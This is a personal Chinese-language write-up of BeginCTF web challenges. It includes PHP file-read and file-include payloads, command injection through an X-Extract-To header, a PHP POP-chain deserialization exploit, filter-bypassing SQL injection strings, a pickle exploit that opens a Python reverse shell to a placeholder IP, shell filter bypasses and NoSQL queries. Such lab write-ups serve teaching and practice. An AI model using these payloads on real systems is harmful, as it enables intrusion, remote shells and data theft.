BeginCTF-web
BeginCTF-web
zupload
die(file_get_contents($_GET['action']));
payload: php://filter/resource=/flag
zupload-pro
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
payload: php://filter/resource=/flag
zupload-pro-plus
这题对上传文件后缀做了一些过滤,但我们又不用上传文件,上一题payload一样能用
payload: php://filter/resource=/flag
zupload-pro-plus-max *
我的想法
能包含zip包中的文件
但是好像不成功
离谱
把马压缩成zip然后包含,包含时候自动执行马里面的命令
这个我也试过,但是我压缩的纯木马,不是命令执行,然后包含带上参数啥都没有
并且还总是网站崩溃,服了
其他做法
无法使用伪协议,应该是包含木马,但是只能上传正确的zip文件,所以在zip文件后面手动写马
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
zupload-pro-plus-max-ultra
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
我的解法
软链接,上传后下载下来即可
其他解法
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
其中$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
即extract是可以控制的,可以进行无回显rce,最简单的就是直接写文件
请求头加上
X-Extract-To: ;cat /flag > flag.txt
zupload-pro-plus-max-ultra-premium
if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_name_new = uniqid('', true) . '.' . $file_ext;
$file_destination = 'uploads/' . $file_name_new;
if (!move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'error',
'message' => 'Failed to upload file'
));
}
exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
我的解法
软链接梭哈
其他解法
通过软链接操作/var/www/html,上传.user.ini包含一个恶意文件1.php
zupload-pro-revenge
不解压了,但是不限制文件,传个马,前端有限制,抓包绕过
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'File upload failed'
));
}
}
zupload-pro-plus-enhanced
$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);
限制是zip,但是并不是验证最后一个点,而是数组的第二位
构造1.zip.php
POPgadget
代码没留,给个别人的exp吧
我的做法是修改Fun类的$func为system函数,然后参数为env,(不能是ls /,会导致页面报错)
<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}
class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
$c=new Fun();
$b=new A();
$a=new B();
$a->a=$b;
$a->p='phpinfo';
$b->a=$c;
echo (serialize($a));
sql教学局
哇,这页面也太好了,动态的
自己尝试即可
空格被过滤,然后其他双写绕过即可
1'/**/union/**/selselectect/**/(seselectlect/**/group_concat(flag)/**/frfromom/**/secret.passwoorrd)/**/frfromom/**/secret.passwoorrd#
1'/**/union/**/selselectect/**/(seselectlect/**/group_concat(grade)/**/frfromom/**/scoorre/**/where/**/student/**/like/**/'begin')/**/frfromom/**/secret.passwoorrd#
1'/**/union/**/selselectect/**/(seselectlect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'scoorre')/**/frfromom/**/secret.passwoorrd#
1'/**/union/**/selselectect/**/loloadad_file('/flag')/**/frfromom/**/secret.passwoorrd#
Pickelshop *
这里我拿到cookie后拿去base64解密,发现是乱码就没思路了
结果base64解密后拿去pickle.loads一下才行
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
return os.system, (s,)
e = exp()
s = pickle.dumps(e)
user = base64.b64encode(s).decode()
print(user)
在linux环境下运行
。。。。不难,是自己没测出来
readbooks *
这里我就测试了一下../目录穿越,但是显示banned,然后就没思路了
结果*竟然可以,list目录也是同理
import os
from flask import Flask, request, render_template
app = Flask(__name__)
DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]
BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")
ALLOW = [
"{",
"}",
"[",
"pwd",
"-",
"_"
]
for a in ALLOW:
try:
BLACKLIST.remove(a)
except ValueError:
pass
@app.route('/')
@app.route('/index')
def hello_world():
return render_template('index.html')
@app.route('/public/<path:name>')
def readbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
try:
res = os.popen('cat {}'.format(name)).read()
return res
except:
return "error"
@app.route('/list/<path:name>')
def listbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
cmd = 'ls {}'.format(name)
try:
res = os.popen(cmd).read()
return res
except:
return "error"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8878)
这里大佬的解法是
`echo '/flag'`
构造出/flag字符串
echo被过滤使用’ec’’ho’, 空格被过滤使用${IFS}
然后/flag通过base64编码,L2ZsYWc=,但是等号被过滤,可以对/flag编码得到L2ZsYWcq
得到flag的文件是/_flag
对/_flag 进行编码L19mbGFn
再传入payload
`'ec''ho'${IFS}L19mbGFn|'ba''se64'${IFS}-d`
。。。唉,有点难,想不到啊
king *
唉,游戏通关了,都没点思路
抓到了websocket的流量
但是我没想那么多,我以为就是正常的数据而已
。。。大佬的思维真厉害
但是这查询语句我也不知道啊(呜呜呜
{"query":{"listCollections":1}}
然后可以用find命令去读flag文件值
{"query":{"find":"flagjyqe9i21fcf"}}
这些命令在那些nosql文章中有出现,但也不是这个形式啊。。。不会用
final
唉,菜死了,四道题解不出来